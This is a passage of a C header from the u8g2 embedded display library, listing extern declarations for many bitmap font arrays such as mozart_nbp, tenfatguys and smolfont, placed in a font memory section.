U8G2_FONT_SECTION(\"u8g2_font_ganj_nameh_sans12_t_all\");\nextern const uint8_t u8g2_font_ganj_nameh_sans14_t_all[] U8G2_FONT_SECTION(\"u8g2_font_ganj_nameh_sans14_t_all\");\nextern const uint8_t u8g2_font_ganj_nameh_sans16_t_all[] U8G2_FONT_SECTION(\"u8g2_font_ganj_nameh_sans16_t_all\");\nextern const uint8_t u8g2_font_iranian_sans_8_t_all[] U8G2_FONT_SECTION(\"u8g2_font_iranian_sans_8_t_all\");\nextern const uint8_t u8g2_font_iranian_sans_10_t_all[] U8G2_FONT_SECTION(\"u8g2_font_iranian_sans_10_t_all\");\nextern const uint8_t u8g2_font_iranian_sans_12_t_all[] U8G2_FONT_SECTION(\"u8g2_font_iranian_sans_12_t_all\");\nextern const uint8_t u8g2_font_iranian_sans_14_t_all[] U8G2_FONT_SECTION(\"u8g2_font_iranian_sans_14_t_all\");\nextern const uint8_t u8g2_font_iranian_sans_16_t_all[] U8G2_FONT_SECTION(\"u8g2_font_iranian_sans_16_t_all\");\nextern const uint8_t u8g2_font_mozart_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_mozart_nbp_tf\");\nextern const uint8_t u8g2_font_mozart_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_mozart_nbp_tr\");\nextern const uint8_t u8g2_font_mozart_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_mozart_nbp_tn\");\nextern const uint8_t u8g2_font_mozart_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_mozart_nbp_t_all\");\nextern const uint8_t u8g2_font_mozart_nbp_h_all[] U8G2_FONT_SECTION(\"u8g2_font_mozart_nbp_h_all\");\nextern const uint8_t u8g2_font_glasstown_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_glasstown_nbp_tf\");\nextern const uint8_t u8g2_font_glasstown_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_glasstown_nbp_tr\");\nextern const uint8_t u8g2_font_glasstown_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_glasstown_nbp_tn\");\nextern const uint8_t u8g2_font_glasstown_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_glasstown_nbp_t_all\");\nextern const uint8_t u8g2_font_shylock_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_shylock_nbp_tf\");\nextern const uint8_t u8g2_font_shylock_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_shylock_nbp_tr\");\nextern const uint8_t u8g2_font_shylock_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_shylock_nbp_tn\");\nextern const uint8_t u8g2_font_shylock_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_shylock_nbp_t_all\");\nextern const uint8_t u8g2_font_roentgen_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_roentgen_nbp_tf\");\nextern const uint8_t u8g2_font_roentgen_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_roentgen_nbp_tr\");\nextern const uint8_t u8g2_font_roentgen_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_roentgen_nbp_tn\");\nextern const uint8_t u8g2_font_roentgen_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_roentgen_nbp_t_all\");\nextern const uint8_t u8g2_font_roentgen_nbp_h_all[] U8G2_FONT_SECTION(\"u8g2_font_roentgen_nbp_h_all\");\nextern const uint8_t u8g2_font_calibration_gothic_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_calibration_gothic_nbp_tf\");\nextern const uint8_t u8g2_font_calibration_gothic_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_calibration_gothic_nbp_tr\");\nextern const uint8_t u8g2_font_calibration_gothic_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_calibration_gothic_nbp_tn\");\nextern const uint8_t u8g2_font_calibration_gothic_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_calibration_gothic_nbp_t_all\");\nextern const uint8_t u8g2_font_smart_patrol_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_smart_patrol_nbp_tf\");\nextern const uint8_t u8g2_font_smart_patrol_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_smart_patrol_nbp_tr\");\nextern const uint8_t u8g2_font_smart_patrol_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_smart_patrol_nbp_tn\");\nextern const uint8_t u8g2_font_prospero_bold_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_prospero_bold_nbp_tf\");\nextern const uint8_t u8g2_font_prospero_bold_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_prospero_bold_nbp_tr\");\nextern const uint8_t u8g2_font_prospero_bold_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_prospero_bold_nbp_tn\");\nextern const uint8_t u8g2_font_prospero_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_prospero_nbp_tf\");\nextern const uint8_t u8g2_font_prospero_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_prospero_nbp_tr\");\nextern const uint8_t u8g2_font_prospero_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_prospero_nbp_tn\");\nextern const uint8_t u8g2_font_balthasar_regular_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_balthasar_regular_nbp_tf\");\nextern const uint8_t u8g2_font_balthasar_regular_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_balthasar_regular_nbp_tr\");\nextern const uint8_t u8g2_font_balthasar_regular_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_balthasar_regular_nbp_tn\");\nextern const uint8_t u8g2_font_balthasar_titling_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_balthasar_titling_nbp_tf\");\nextern const uint8_t u8g2_font_balthasar_titling_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_balthasar_titling_nbp_tr\");\nextern const uint8_t u8g2_font_balthasar_titling_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_balthasar_titling_nbp_tn\");\nextern const uint8_t u8g2_font_synchronizer_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_synchronizer_nbp_tf\");\nextern const uint8_t u8g2_font_synchronizer_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_synchronizer_nbp_tr\");\nextern const uint8_t u8g2_font_synchronizer_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_synchronizer_nbp_tn\");\nextern const uint8_t u8g2_font_mercutio_basic_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_mercutio_basic_nbp_tf\");\nextern const uint8_t u8g2_font_mercutio_basic_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_mercutio_basic_nbp_tr\");\nextern const uint8_t u8g2_font_mercutio_basic_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_mercutio_basic_nbp_tn\");\nextern const uint8_t u8g2_font_mercutio_basic_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_mercutio_basic_nbp_t_all\");\nextern const uint8_t u8g2_font_mercutio_sc_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_mercutio_sc_nbp_tf\");\nextern const uint8_t u8g2_font_mercutio_sc_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_mercutio_sc_nbp_tr\");\nextern const uint8_t u8g2_font_mercutio_sc_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_mercutio_sc_nbp_tn\");\nextern const uint8_t u8g2_font_mercutio_sc_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_mercutio_sc_nbp_t_all\");\nextern const uint8_t u8g2_font_miranda_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_miranda_nbp_tf\");\nextern const uint8_t u8g2_font_miranda_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_miranda_nbp_tr\");\nextern const uint8_t u8g2_font_miranda_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_miranda_nbp_tn\");\nextern const uint8_t u8g2_font_nine_by_five_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_nine_by_five_nbp_tf\");\nextern const uint8_t u8g2_font_nine_by_five_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_nine_by_five_nbp_tr\");\nextern const uint8_t u8g2_font_nine_by_five_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_nine_by_five_nbp_tn\");\nextern const uint8_t u8g2_font_nine_by_five_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_nine_by_five_nbp_t_all\");\nextern const uint8_t u8g2_font_rosencrantz_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_rosencrantz_nbp_tf\");\nextern const uint8_t u8g2_font_rosencrantz_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_rosencrantz_nbp_tr\");\nextern const uint8_t u8g2_font_rosencrantz_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_rosencrantz_nbp_tn\");\nextern const uint8_t u8g2_font_rosencrantz_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_rosencrantz_nbp_t_all\");\nextern const uint8_t u8g2_font_guildenstern_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_guildenstern_nbp_tf\");\nextern const uint8_t u8g2_font_guildenstern_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_guildenstern_nbp_tr\");\nextern const uint8_t u8g2_font_guildenstern_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_guildenstern_nbp_tn\");\nextern const uint8_t u8g2_font_guildenstern_nbp_t_all[] U8G2_FONT_SECTION(\"u8g2_font_guildenstern_nbp_t_all\");\nextern const uint8_t u8g2_font_astragal_nbp_tf[] U8G2_FONT_SECTION(\"u8g2_font_astragal_nbp_tf\");\nextern const uint8_t u8g2_font_astragal_nbp_tr[] U8G2_FONT_SECTION(\"u8g2_font_astragal_nbp_tr\");\nextern const uint8_t u8g2_font_astragal_nbp_tn[] U8G2_FONT_SECTION(\"u8g2_font_astragal_nbp_tn\");\nextern const uint8_t u8g2_font_habsburgchancery_tf[] U8G2_FONT_SECTION(\"u8g2_font_habsburgchancery_tf\");\nextern const uint8_t u8g2_font_habsburgchancery_tr[] U8G2_FONT_SECTION(\"u8g2_font_habsburgchancery_tr\");\nextern const uint8_t u8g2_font_habsburgchancery_tn[] U8G2_FONT_SECTION(\"u8g2_font_habsburgchancery_tn\");\nextern const uint8_t u8g2_font_habsburgchancery_t_all[] U8G2_FONT_SECTION(\"u8g2_font_habsburgchancery_t_all\");\nextern const uint8_t u8g2_font_missingplanet_tf[] U8G2_FONT_SECTION(\"u8g2_font_missingplanet_tf\");\nextern const uint8_t u8g2_font_missingplanet_tr[] U8G2_FONT_SECTION(\"u8g2_font_missingplanet_tr\");\nextern const uint8_t u8g2_font_missingplanet_tn[] U8G2_FONT_SECTION(\"u8g2_font_missingplanet_tn\");\nextern const uint8_t u8g2_font_missingplanet_t_all[] U8G2_FONT_SECTION(\"u8g2_font_missingplanet_t_all\");\nextern const uint8_t u8g2_font_ordinarybasis_tf[] U8G2_FONT_SECTION(\"u8g2_font_ordinarybasis_tf\");\nextern const uint8_t u8g2_font_ordinarybasis_tr[] U8G2_FONT_SECTION(\"u8g2_font_ordinarybasis_tr\");\nextern const uint8_t u8g2_font_ordinarybasis_tn[] U8G2_FONT_SECTION(\"u8g2_font_ordinarybasis_tn\");\nextern const uint8_t u8g2_font_ordinarybasis_t_all[] U8G2_FONT_SECTION(\"u8g2_font_ordinarybasis_t_all\");\nextern const uint8_t u8g2_font_pixelmordred_tf[] U8G2_FONT_SECTION(\"u8g2_font_pixelmordred_tf\");\nextern const uint8_t u8g2_font_pixelmordred_tr[] U8G2_FONT_SECTION(\"u8g2_font_pixelmordred_tr\");\nextern const uint8_t u8g2_font_pixelmordred_tn[] U8G2_FONT_SECTION(\"u8g2_font_pixelmordred_tn\");\nextern const uint8_t u8g2_font_pixelmordred_t_all[] U8G2_FONT_SECTION(\"u8g2_font_pixelmordred_t_all\");\nextern const uint8_t u8g2_font_secretaryhand_tf[] U8G2_FONT_SECTION(\"u8g2_font_secretaryhand_tf\");\nextern const uint8_t u8g2_font_secretaryhand_tr[] U8G2_FONT_SECTION(\"u8g2_font_secretaryhand_tr\");\nextern const uint8_t u8g2_font_secretaryhand_tn[] U8G2_FONT_SECTION(\"u8g2_font_secretaryhand_tn\");\nextern const uint8_t u8g2_font_secretaryhand_t_all[] U8G2_FONT_SECTION(\"u8g2_font_secretaryhand_t_all\");\nextern const uint8_t u8g2_font_garbagecan_tf[] U8G2_FONT_SECTION(\"u8g2_font_garbagecan_tf\");\nextern const uint8_t u8g2_font_garbagecan_tr[] U8G2_FONT_SECTION(\"u8g2_font_garbagecan_tr\");\nextern const uint8_t u8g2_font_beanstalk_mel_tr[] U8G2_FONT_SECTION(\"u8g2_font_beanstalk_mel_tr\");\nextern const uint8_t u8g2_font_beanstalk_mel_tn[] U8G2_FONT_SECTION(\"u8g2_font_beanstalk_mel_tn\");\nextern const uint8_t u8g2_font_cube_mel_tr[] U8G2_FONT_SECTION(\"u8g2_font_cube_mel_tr\");\nextern const uint8_t u8g2_font_cube_mel_tn[] U8G2_FONT_SECTION(\"u8g2_font_cube_mel_tn\");\nextern const uint8_t u8g2_font_mademoiselle_mel_tr[] U8G2_FONT_SECTION(\"u8g2_font_mademoiselle_mel_tr\");\nextern const uint8_t u8g2_font_mademoiselle_mel_tn[] U8G2_FONT_SECTION(\"u8g2_font_mademoiselle_mel_tn\");\nextern const uint8_t u8g2_font_pieceofcake_mel_tr[] U8G2_FONT_SECTION(\"u8g2_font_pieceofcake_mel_tr\");\nextern const uint8_t u8g2_font_pieceofcake_mel_tn[] U8G2_FONT_SECTION(\"u8g2_font_pieceofcake_mel_tn\");\nextern const uint8_t u8g2_font_press_mel_tr[] U8G2_FONT_SECTION(\"u8g2_font_press_mel_tr\");\nextern const uint8_t u8g2_font_press_mel_tn[] U8G2_FONT_SECTION(\"u8g2_font_press_mel_tn\");\nextern const uint8_t u8g2_font_repress_mel_tr[] U8G2_FONT_SECTION(\"u8g2_font_repress_mel_tr\");\nextern const uint8_t u8g2_font_repress_mel_tn[] U8G2_FONT_SECTION(\"u8g2_font_repress_mel_tn\");\nextern const uint8_t u8g2_font_sticker_mel_tr[] U8G2_FONT_SECTION(\"u8g2_font_sticker_mel_tr\");\nextern const uint8_t u8g2_font_sticker_mel_tn[] U8G2_FONT_SECTION(\"u8g2_font_sticker_mel_tn\");\nextern const uint8_t u8g2_font_celibatemonk_tr[] U8G2_FONT_SECTION(\"u8g2_font_celibatemonk_tr\");\nextern const uint8_t u8g2_font_disrespectfulteenager_tu[] U8G2_FONT_SECTION(\"u8g2_font_disrespectfulteenager_tu\");\nextern const uint8_t u8g2_font_michaelmouse_tu[] U8G2_FONT_SECTION(\"u8g2_font_michaelmouse_tu\");\nextern const uint8_t u8g2_font_sandyforest_tr[] U8G2_FONT_SECTION(\"u8g2_font_sandyforest_tr\");\nextern const uint8_t u8g2_font_sandyforest_tn[] U8G2_FONT_SECTION(\"u8g2_font_sandyforest_tn\");\nextern const uint8_t u8g2_font_sandyforest_tu[] U8G2_FONT_SECTION(\"u8g2_font_sandyforest_tu\");\nextern const uint8_t u8g2_font_cupcakemetoyourleader_tr[] U8G2_FONT_SECTION(\"u8g2_font_cupcakemetoyourleader_tr\");\nextern const uint8_t u8g2_font_cupcakemetoyourleader_tn[] U8G2_FONT_SECTION(\"u8g2_font_cupcakemetoyourleader_tn\");\nextern const uint8_t u8g2_font_cupcakemetoyourleader_tu[] U8G2_FONT_SECTION(\"u8g2_font_cupcakemetoyourleader_tu\");\nextern const uint8_t u8g2_font_oldwizard_tf[] U8G2_FONT_SECTION(\"u8g2_font_oldwizard_tf\");\nextern const uint8_t u8g2_font_oldwizard_tr[] U8G2_FONT_SECTION(\"u8g2_font_oldwizard_tr\");\nextern const uint8_t u8g2_font_oldwizard_tn[] U8G2_FONT_SECTION(\"u8g2_font_oldwizard_tn\");\nextern const uint8_t u8g2_font_oldwizard_tu[] U8G2_FONT_SECTION(\"u8g2_font_oldwizard_tu\");\nextern const uint8_t u8g2_font_squirrel_tr[] U8G2_FONT_SECTION(\"u8g2_font_squirrel_tr\");\nextern const uint8_t u8g2_font_squirrel_tn[] U8G2_FONT_SECTION(\"u8g2_font_squirrel_tn\");\nextern const uint8_t u8g2_font_squirrel_tu[] U8G2_FONT_SECTION(\"u8g2_font_squirrel_tu\");\nextern const uint8_t u8g2_font_diodesemimono_tr[] U8G2_FONT_SECTION(\"u8g2_font_diodesemimono_tr\");\nextern const uint8_t u8g2_font_questgiver_tr[] U8G2_FONT_SECTION(\"u8g2_font_questgiver_tr\");\nextern const uint8_t u8g2_font_seraphimb1_tr[] U8G2_FONT_SECTION(\"u8g2_font_seraphimb1_tr\");\nextern const uint8_t u8g2_font_resoledbold_tr[] U8G2_FONT_SECTION(\"u8g2_font_resoledbold_tr\");\nextern const uint8_t u8g2_font_resoledmedium_tr[] U8G2_FONT_SECTION(\"u8g2_font_resoledmedium_tr\");\nextern const uint8_t u8g2_font_jinxedwizards_tr[] U8G2_FONT_SECTION(\"u8g2_font_jinxedwizards_tr\");\nextern const uint8_t u8g2_font_lastpriestess_tr[] U8G2_FONT_SECTION(\"u8g2_font_lastpriestess_tr\");\nextern const uint8_t u8g2_font_lastpriestess_tu[] U8G2_FONT_SECTION(\"u8g2_font_lastpriestess_tu\");\nextern const uint8_t u8g2_font_bitcasual_tf[] U8G2_FONT_SECTION(\"u8g2_font_bitcasual_tf\");\nextern const uint8_t u8g2_font_bitcasual_tr[] U8G2_FONT_SECTION(\"u8g2_font_bitcasual_tr\");\nextern const uint8_t u8g2_font_bitcasual_tn[] U8G2_FONT_SECTION(\"u8g2_font_bitcasual_tn\");\nextern const uint8_t u8g2_font_bitcasual_tu[] U8G2_FONT_SECTION(\"u8g2_font_bitcasual_tu\");\nextern const uint8_t u8g2_font_bitcasual_t_all[] U8G2_FONT_SECTION(\"u8g2_font_bitcasual_t_all\");\nextern const uint8_t u8g2_font_koleeko_tf[] U8G2_FONT_SECTION(\"u8g2_font_koleeko_tf\");\nextern const uint8_t u8g2_font_koleeko_tr[] U8G2_FONT_SECTION(\"u8g2_font_koleeko_tr\");\nextern const uint8_t u8g2_font_koleeko_tn[] U8G2_FONT_SECTION(\"u8g2_font_koleeko_tn\");\nextern const uint8_t u8g2_font_koleeko_tu[] U8G2_FONT_SECTION(\"u8g2_font_koleeko_tu\");\nextern const uint8_t u8g2_font_tenfatguys_tf[] U8G2_FONT_SECTION(\"u8g2_font_tenfatguys_tf\");\nextern const uint8_t u8g2_font_tenfatguys_tr[] U8G2_FONT_SECTION(\"u8g2_font_tenfatguys_tr\");\nextern const uint8_t u8g2_font_tenfatguys_tn[] U8G2_FONT_SECTION(\"u8g2_font_tenfatguys_tn\");\nextern const uint8_t u8g2_font_tenfatguys_tu[] U8G2_FONT_SECTION(\"u8g2_font_tenfatguys_tu\");\nextern const uint8_t u8g2_font_tenfatguys_t_all[] U8G2_FONT_SECTION(\"u8g2_font_tenfatguys_t_all\");\nextern const uint8_t u8g2_font_tenstamps_mf[] U8G2_FONT_SECTION(\"u8g2_font_tenstamps_mf\");\nextern const uint8_t u8g2_font_tenstamps_mr[] U8G2_FONT_SECTION(\"u8g2_font_tenstamps_mr\");\nextern const uint8_t u8g2_font_tenstamps_mn[] U8G2_FONT_SECTION(\"u8g2_font_tenstamps_mn\");\nextern const uint8_t u8g2_font_tenstamps_mu[] U8G2_FONT_SECTION(\"u8g2_font_tenstamps_mu\");\nextern const uint8_t u8g2_font_tenthinguys_tf[] U8G2_FONT_SECTION(\"u8g2_font_tenthinguys_tf\");\nextern const uint8_t u8g2_font_tenthinguys_tr[] U8G2_FONT_SECTION(\"u8g2_font_tenthinguys_tr\");\nextern const uint8_t u8g2_font_tenthinguys_tn[] U8G2_FONT_SECTION(\"u8g2_font_tenthinguys_tn\");\nextern const uint8_t u8g2_font_tenthinguys_tu[] U8G2_FONT_SECTION(\"u8g2_font_tenthinguys_tu\");\nextern const uint8_t u8g2_font_tenthinguys_t_all[] U8G2_FONT_SECTION(\"u8g2_font_tenthinguys_t_all\");\nextern const uint8_t u8g2_font_tenthinnerguys_tf[] U8G2_FONT_SECTION(\"u8g2_font_tenthinnerguys_tf\");\nextern const uint8_t u8g2_font_tenthinnerguys_tr[] U8G2_FONT_SECTION(\"u8g2_font_tenthinnerguys_tr\");\nextern const uint8_t u8g2_font_tenthinnerguys_tn[] U8G2_FONT_SECTION(\"u8g2_font_tenthinnerguys_tn\");\nextern const uint8_t u8g2_font_tenthinnerguys_tu[] U8G2_FONT_SECTION(\"u8g2_font_tenthinnerguys_tu\");\nextern const uint8_t u8g2_font_tenthinnerguys_t_all[] U8G2_FONT_SECTION(\"u8g2_font_tenthinnerguys_t_all\");\nextern const uint8_t u8g2_font_twelvedings_t_all[] U8G2_FONT_SECTION(\"u8g2_font_twelvedings_t_all\");\nextern const uint8_t u8g2_font_frigidaire_mr[] U8G2_FONT_SECTION(\"u8g2_font_frigidaire_mr\");\nextern const uint8_t u8g2_font_lord_mr[] U8G2_FONT_SECTION(\"u8g2_font_lord_mr\");\nextern const uint8_t u8g2_font_abel_mr[] U8G2_FONT_SECTION(\"u8g2_font_abel_mr\");\nextern const uint8_t u8g2_font_fewture_tf[] U8G2_FONT_SECTION(\"u8g2_font_fewture_tf\");\nextern const uint8_t u8g2_font_fewture_tr[] U8G2_FONT_SECTION(\"u8g2_font_fewture_tr\");\nextern const uint8_t u8g2_font_fewture_tn[] U8G2_FONT_SECTION(\"u8g2_font_fewture_tn\");\nextern const uint8_t u8g2_font_halftone_tf[] U8G2_FONT_SECTION(\"u8g2_font_halftone_tf\");\nextern const uint8_t u8g2_font_halftone_tr[] U8G2_FONT_SECTION(\"u8g2_font_halftone_tr\");\nextern const uint8_t u8g2_font_halftone_tn[] U8G2_FONT_SECTION(\"u8g2_font_halftone_tn\");\nextern const uint8_t u8g2_font_nerhoe_tf[] U8G2_FONT_SECTION(\"u8g2_font_nerhoe_tf\");\nextern const uint8_t u8g2_font_nerhoe_tr[] U8G2_FONT_SECTION(\"u8g2_font_nerhoe_tr\");\nextern const uint8_t u8g2_font_nerhoe_tn[] U8G2_FONT_SECTION(\"u8g2_font_nerhoe_tn\");\nextern const uint8_t u8g2_font_oskool_tf[] U8G2_FONT_SECTION(\"u8g2_font_oskool_tf\");\nextern const uint8_t u8g2_font_oskool_tr[] U8G2_FONT_SECTION(\"u8g2_font_oskool_tr\");\nextern const uint8_t u8g2_font_oskool_tn[] U8G2_FONT_SECTION(\"u8g2_font_oskool_tn\");\nextern const uint8_t u8g2_font_tinytim_tf[] U8G2_FONT_SECTION(\"u8g2_font_tinytim_tf\");\nextern const uint8_t u8g2_font_tinytim_tr[] U8G2_FONT_SECTION(\"u8g2_font_tinytim_tr\");\nextern const uint8_t u8g2_font_tinytim_tn[] U8G2_FONT_SECTION(\"u8g2_font_tinytim_tn\");\nextern const uint8_t u8g2_font_tooseornament_tf[] U8G2_FONT_SECTION(\"u8g2_font_tooseornament_tf\");\nextern const uint8_t u8g2_font_tooseornament_tr[] U8G2_FONT_SECTION(\"u8g2_font_tooseornament_tr\");\nextern const uint8_t u8g2_font_tooseornament_tn[] U8G2_FONT_SECTION(\"u8g2_font_tooseornament_tn\");\nextern const uint8_t u8g2_font_bauhaus2015_tr[] U8G2_FONT_SECTION(\"u8g2_font_bauhaus2015_tr\");\nextern const uint8_t u8g2_font_bauhaus2015_tn[] U8G2_FONT_SECTION(\"u8g2_font_bauhaus2015_tn\");\nextern const uint8_t u8g2_font_finderskeepers_tf[] U8G2_FONT_SECTION(\"u8g2_font_finderskeepers_tf\");\nextern const uint8_t u8g2_font_finderskeepers_tr[] U8G2_FONT_SECTION(\"u8g2_font_finderskeepers_tr\");\nextern const uint8_t u8g2_font_finderskeepers_tn[] U8G2_FONT_SECTION(\"u8g2_font_finderskeepers_tn\");\nextern const uint8_t u8g2_font_sirclivethebold_tr[] U8G2_FONT_SECTION(\"u8g2_font_sirclivethebold_tr\");\nextern const uint8_t u8g2_font_sirclivethebold_tn[] U8G2_FONT_SECTION(\"u8g2_font_sirclivethebold_tn\");\nextern const uint8_t u8g2_font_sirclive_tr[] U8G2_FONT_SECTION(\"u8g2_font_sirclive_tr\");\nextern const uint8_t u8g2_font_sirclive_tn[] U8G2_FONT_SECTION(\"u8g2_font_sirclive_tn\");\nextern const uint8_t u8g2_font_adventurer_tf[] U8G2_FONT_SECTION(\"u8g2_font_adventurer_tf\");\nextern const uint8_t u8g2_font_adventurer_tr[] U8G2_FONT_SECTION(\"u8g2_font_adventurer_tr\");\nextern const uint8_t u8g2_font_adventurer_t_all[] U8G2_FONT_SECTION(\"u8g2_font_adventurer_t_all\");\nextern const uint8_t u8g2_font_bracketedbabies_tr[] U8G2_FONT_SECTION(\"u8g2_font_bracketedbabies_tr\");\nextern const uint8_t u8g2_font_frikativ_tf[] U8G2_FONT_SECTION(\"u8g2_font_frikativ_tf\");\nextern const uint8_t u8g2_font_frikativ_tr[] U8G2_FONT_SECTION(\"u8g2_font_frikativ_tr\");\nextern const uint8_t u8g2_font_frikativ_t_all[] U8G2_FONT_SECTION(\"u8g2_font_frikativ_t_all\");\nextern const uint8_t u8g2_font_fancypixels_tf[] U8G2_FONT_SECTION(\"u8g2_font_fancypixels_tf\");\nextern const uint8_t u8g2_font_fancypixels_tr[] U8G2_FONT_SECTION(\"u8g2_font_fancypixels_tr\");\nextern const uint8_t u8g2_font_heavybottom_tr[] U8G2_FONT_SECTION(\"u8g2_font_heavybottom_tr\");\nextern const uint8_t u8g2_font_iconquadpix_m_all[] U8G2_FONT_SECTION(\"u8g2_font_iconquadpix_m_all\");\nextern const uint8_t u8g2_font_tallpix_tr[] U8G2_FONT_SECTION(\"u8g2_font_tallpix_tr\");\nextern const uint8_t u8g2_font_botmaker_te[] U8G2_FONT_SECTION(\"u8g2_font_botmaker_te\");\nextern const uint8_t u8g2_font_efraneextracondensed_te[] U8G2_FONT_SECTION(\"u8g2_font_efraneextracondensed_te\");\nextern const uint8_t u8g2_font_3x3basic_tr[] U8G2_FONT_SECTION(\"u8g2_font_3x3basic_tr\");\nextern const uint8_t u8g2_font_tiny_gk_tr[] U8G2_FONT_SECTION(\"u8g2_font_tiny_gk_tr\");\nextern const uint8_t u8g2_font_threepix_tr[] U8G2_FONT_SECTION(\"u8g2_font_threepix_tr\");\nextern const uint8_t u8g2_font_eventhrees_tr[] U8G2_FONT_SECTION(\"u8g2_font_eventhrees_tr\");\nextern const uint8_t u8g2_font_fourmat_tf[] U8G2_FONT_SECTION(\"u8g2_font_fourmat_tf\");\nextern const uint8_t u8g2_font_fourmat_tr[] U8G2_FONT_SECTION(\"u8g2_font_fourmat_tr\");\nextern const uint8_t u8g2_font_fourmat_te[] U8G2_FONT_SECTION(\"u8g2_font_fourmat_te\");\nextern const uint8_t u8g2_font_tiny_simon_tr[] U8G2_FONT_SECTION(\"u8g2_font_tiny_simon_tr\");\nextern const uint8_t u8g2_font_tiny_simon_mr[] U8G2_FONT_SECTION(\"u8g2_font_tiny_simon_mr\");\nextern const uint8_t u8g2_font_smolfont_tf[] U8G2_FONT_SECTION(\"u8g2_font_smolfont_tf\");\nextern const uint8_t u8g2_font_smolfont_tr[] U8G2_FONT_SECTION(\"u8g2_font_smolfont_tr\");\nextern const uint8_t u8g2_font_smolfont_te[] U8G2_FONT_SECTION(\"u8g2_font_smolfont_te\");\nextern const uint8_t u8g2_font_tinyunicode_tf[] U8G2_FONT_SECTION(\"u8g2_font_tinyunicode_tf\");\nextern const uint8_t u8g2_font_tinyunicode_tr[] U8G2_FONT_SECTION(\"u8g2_font_tinyunicode_tr\");\nextern const uint8_t u8g2_font_tinyunicode_te[] U8G2_FONT_SECTION(\"u8g2_font_tinyunicode_te\");\nextern const uint8_t u8g2_font_tinypixie2_tr[] U8G2_FONT_SECTION(\"u8g2_font_tinypixie2_tr\");\nextern const uint8_t u8g2_font_standardized3x5_tr[] U8G2_FONT_SECTION(\"u8g2_font_standardized3x5_tr\");\nextern const uint8_t u8g2_font_fivepx_tr[] U8G2_FONT_SECTION(\"u8g2_font_fivepx_tr\");\nextern const uint8_t u8g2_font_3x5im_tr[] U8G2_FONT_SECTION(\"u8g2_font_3x5im_tr\");\nextern const uint8_t u8g2_font_3x5im_te[] U8G2_FONT_SECTION(\"u8g2_font_3x5im_te\");\nextern const uint8_t u8g2_font_3x5im_mr[] U8G2_FONT_SECTION(\"u8g2_font_3x5im_mr\");\nextern const uint8_t u8g2_font_wedge_tr[] U8G2_FONT_SECTION(\"u8g2_font_wedge_tr\");\nextern const uint8_t u8g2_font_kibibyte_tr[] U8G2_FONT_SECTION(\"u8g2_font_kibibyte_tr\");\nextern const uint8_t u8g2_font_kibibyte_te[] U8G2_FONT_SECTION(\"u8g2_font_kibibyte_te\");\nextern const uint8_t u8g2_font_tinyface_tr[] U8G2_FONT_SECTION(\"u8g2_font_tinyface_tr\");\nextern const uint8_t u8g2_font_tinyface_te[] U8G2_FONT_SECTION(\"u8g2_font_tinyface_te\");\nextern const uint8_t u8g2_font_smallsimple_tr[] U8G2_FONT_SECTION(\"u8g2_font_smallsimple_tr\");\nextern const uint8_t u8g2_font_smallsimple_te[] U8G2_FONT_SECTION(\"u8g2_font_smallsimple_te\");\nextern const uint8_t u8g2_font_simple1_tf[] U8G2_FONT_SECTION(\"u8g2_font_simple1_tf\");\nextern const uint8_t u8g2_font_simple1_tr[] U8G2_FONT_SECTION(\"u8g2_font_simple1_tr\");\nextern const uint8_t u8g2_font_simple1_te[] 